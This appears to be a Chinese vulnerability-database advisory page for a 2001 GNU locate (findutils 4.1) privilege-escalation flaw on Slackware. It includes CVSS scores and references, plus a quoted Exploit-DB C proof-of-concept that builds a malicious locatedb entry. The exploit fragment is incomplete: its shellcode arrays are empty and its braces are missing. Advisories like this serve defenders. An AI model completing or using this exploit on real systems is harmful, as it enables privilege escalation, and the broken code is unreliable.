发布时间 :2001-08-31 00:00:00
修订时间 :2008-09-05 16:25:31

[原文]GNU locate in findutils 4.1 on Slackware 7.1 and 8.0 allows local users to gain privileges via an old formatted filename database (locatedb) that contains an entry with an out-of-range offset, which causes locate to write to arbitrary process memory.

[CNNVD]Slackware findutils GNU locate权限提升漏洞(CNNVD-200108-173)

        Slackware 7.1和8.0上的findutils 4.1的GNU locate存在漏洞。本地用户可以借助原有规格化数据库(locatedb)文件名获取权限,其中包含带有out-of-range偏移的一个条目,该漏洞可能导致locate写入任意内存进程。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:gnu:findutils:4.1GNU findutils 4.1
cpe:/o:slackware:slackware_linux:7.1Slackware Linux 7.1
cpe:/a:gnu:findutils:4.0GNU findutils 4.0
cpe:/o:slackware:slackware_linux:8.0Slackware Linux 8.0

- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(VENDOR_ADVISORY)  XF  locate-command-execution(6932)
(UNKNOWN)  BUGTRAQ  20010801 Slackware 8.0, 7.1 Vulnerability: /usr/bin/locate

- 漏洞信息

Slackware findutils GNU locate权限提升漏洞
高危 未知
2001-08-31 00:00:00 2005-05-02 00:00:00
        Slackware 7.1和8.0上的findutils 4.1的GNU locate存在漏洞。本地用户可以借助原有规格化数据库(locatedb)文件名获取权限,其中包含带有out-of-range偏移的一个条目,该漏洞可能导致locate写入任意内存进程。

- 公告与补丁


- 漏洞信息 (21043)

GNU findutils 4.0/4.1 Locate Arbitrary Command Execution Vulnerability (EDBID:21043)
linux local
2001-08-01 Verified
0 Josh Smith
N/A [点击下载]

GNU locate is an application that searches file databases for file names that match user-supplied patterns.

A boundary condition error can occur when the program reads database files composed in an "old" format, produced by GNU locate prior to version 4.0 and by Unix versions of locate and find. If an attacker is able to write a malicious entry to a database file used by other users, the attacker could cause arbitrary code to be executed by another user when the user runs the locate program.

It also should be noted that in earlier versions of Slackware(circa 3.5) the file is written by the superuser. 

#include <stdio.h>

char shellcode[] =
char putshell[] =

int main(void)
   int i;
   int z0=0; int addr=0x0804a970;
   int z1=0; int addr2=-626;
   int z2=0; int addr3=addr+6;
   printf("%s", &addr);
   printf("%s", &addr3);
   for(i=46;i<256;i++) putchar('A');
   printf("%s", putshell);
   printf("%s", &addr2);


- 漏洞信息

GNU findutils locate Memory Write Privilege Escalation
Local Access Required Input Manipulation
Loss of Confidentiality, Loss of Integrity
Exploit Public

- 漏洞描述

A local buffer overflow exists in the GNU findutils locate command. The locate command fails to check input in the old locate database format resulting in a potential buffer overflow. With a specially crafted entry in such a database file, an attacker can cause execution of code resulting in a loss of confidentiality and integrity.

- 时间线

2001-08-01 Unknow
2001-08-01 Unknow

- 解决方案

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

- 相关参考

- 漏洞作者